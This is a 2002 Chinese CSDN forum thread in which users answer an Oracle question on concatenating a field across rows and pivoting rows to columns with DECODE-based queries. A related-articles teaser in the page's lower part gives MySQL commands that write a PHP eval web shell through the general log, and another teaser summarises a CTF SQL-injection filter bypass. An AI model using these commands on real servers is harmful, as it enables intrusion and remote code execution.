社区
Oracle
帖子详情
这个sql怎样写
fourfire29
2002-12-17 10:24:03
oracle:
1 怎样把多条纪录中的某一字段的值按字符串相加返回
如 1 a
2 b
3 c,d
返回abc,d
2 怎样把行转换为列?
如 1 a
2 b
3 c
返回 a,b,c
...全文
86
9
打赏
收藏
这个sql怎样写
oracle: 1 怎样把多条纪录中的某一字段的值按字符串相加返回 如 1 a 2 b 3 c,d 返回abc,d 2 怎样把行转换为列? 如 1 a 2 b 3 c 返回 a,b,c
复制链接
扫一扫
分享
举报
写回复
配置赞助广告
用AI写文章
9 条
回复
切换为时间正序
请发表友善的回复…
发表回复
打赏红包
fourfire29
2002-12-18
打赏
举报
回复
谢谢各位了,结账
jiezhi
2002-12-17
打赏
举报
回复
使用过程,循环中拚sql
fourfire29
2002-12-17
打赏
举报
回复
1 列不固定,能实现吗?
fourfire29
2002-12-17
打赏
举报
回复
确实很笨,但数据库就这样设计,我也没办法,我试试
beckhambobo
2002-12-17
打赏
举报
回复
select aa.col||','||bb.col||','||cc.col from (select col form table where id=1) aa,(select col from table where id=2) bb,(select col from table where id=3) cc
这样方法好笨,多列联合就复杂, 还是用过程实现吧.
xinpingf
2002-12-17
打赏
举报
回复
1、没有这样的聚集函数
2、这样有意义吗?
如果原表中行数不固定,则无法实现。
如果行数固定,实在没有任何意义:
select max(decode(id,1,value)) col1 ,
max(decode(id,2,value)) col2 ,
max(decode(id,3,value)) col3
from table1 group by id;
行转化为列的典型例子:
表一:科目表
代码 名称
-----------
1 语文
2 数学
3 外语
表二:成绩单
学号 科目 成绩
------------------
1 1 90
1 2 95
1 3 95
2 1 92
2 2 92
2 3 97
3 1 95
3 2 90
3 3 91
转化:
select 学号,
sum(decode(科目,1,成绩) 语文,
sum(decode(科目,2,成绩) 数学,
sum(decode(科目,3,成绩) 外语,
from 成绩单
group by 学号;
jiezhi
2002-12-17
打赏
举报
回复
你可以写个函数sumstr(v_str),不过这很难了
beckhambobo
2002-12-17
打赏
举报
回复
用过程方便易于实现,为何要变得复杂化呢!
fourfire29
2002-12-17
打赏
举报
回复
不想用过程,行吗,大家再想想,谢谢
SQL
中是否应该
写
逻辑
SQL
中是否应该
写
逻辑 问题 如果我们有不同业务需要更新表的不同字段,我们是应该为每个业务单独
写
SQL
,还是
写
个更新全部字段的
SQL
,还是
写
个动态
SQL
根据传入的对象非空拼接? 问题举例-用户信息更改 用户信息 我们需要实现三个用例: 方案一:单独
写
Sql
如果不使用DDD,对业务还是很友好的,DAO层保证了不可以随便修改数据;很多人认为这种
写
法让DAO介入了业务,可以用依赖...
在Excel VBA中
写
SQL
,是一种什么体验
Python微信订餐小程序课程视频 https://edu.csdn.net/course/detail/36074 Python实战量化交易理财系统 https://edu.csdn.net/course/detail/35475 每每提到Excel办公自动化,我们脑海里能想到的就是公式、数据透视表、宏、VBA,这也是我们大部分人数据分析的进阶之路。当我们对于常用VBA技巧已经相当熟练后,往往会有一种“我的VBA知识够用啦”的错觉,其实那只是因为我们收到的实际需求还不够复杂和多样化。 一旦哪天碰
SQL
语句利用日志
写
shell
SQL
语句利用日志
写
shell outfile被禁止,或者
写
入文件被拦截 在数据库中操作如下:(必须是root权限) 1.show variables like ‘%general%'; #查看配置 2.set global general_log = on; #开启general log模式 3.set global general_log_file = ‘/var/www/html/1.php'; #设置日志目录为shell地址 4.select ‘<?php eval($_POST[cmd]);
CTF实战:双
写
绕过过滤的
SQL
注入利用
摘要:本文详细介绍了针对
SQL
注入过滤机制的绕过技术。首先通过探测发现WAF过滤了and等关键字,随后采用双
写
绕过技术成功执行注入(如anandd→and)。接着确认注入类型并判断列数,使用双
写
绕过UNION和SELECT进行联合查询,最终通过构造特殊语句成功获取数据库信息及flag。文章还介绍了利用逻辑或短路特性的另类解法,通过oorr绕过OR过滤一次性获取全部数据。整个过程展示了从探测到最终数据提取的完整
SQL
注入绕过思路。
妙啊,受益终生的20个
写
SQL
的小细节,这次终于学到了
前言
SQL
语句的优化对于研发人员也是非常重要的,高效的
SQL
语句经常会给使一个业务逻辑的接口响应速度变得非常快。每一个好习惯都是一笔财富,本文分
SQL
后悔药,
SQL
性能优化,
SQL
规范优雅三个方向,
写
SQL
语句一些小细节的分享! 另外本人整理了20年面试题大全,包含spring、并发、数据库、Redis、分布式、dubbo、JVM、微服务等方面总结,下图是部分截图,需要的话点这里点这里,暗号CSDN。 1.
写
完
SQL
先explain查看执行计划(
SQL
性能优化) 日常开发
写
SQL
的时候,尽量
Oracle
17,133
社区成员
55,258
社区内容
发帖
与我相关
我的任务
Oracle
Oracle开发相关技术讨论
复制链接
扫一扫
分享
社区描述
Oracle开发相关技术讨论
社区管理员
加入社区
获取链接或二维码
近7日
近30日
至今
加载中
查看更多榜单
社区公告
暂无公告
试试用AI创作助手写篇文章吧
+ 用AI写文章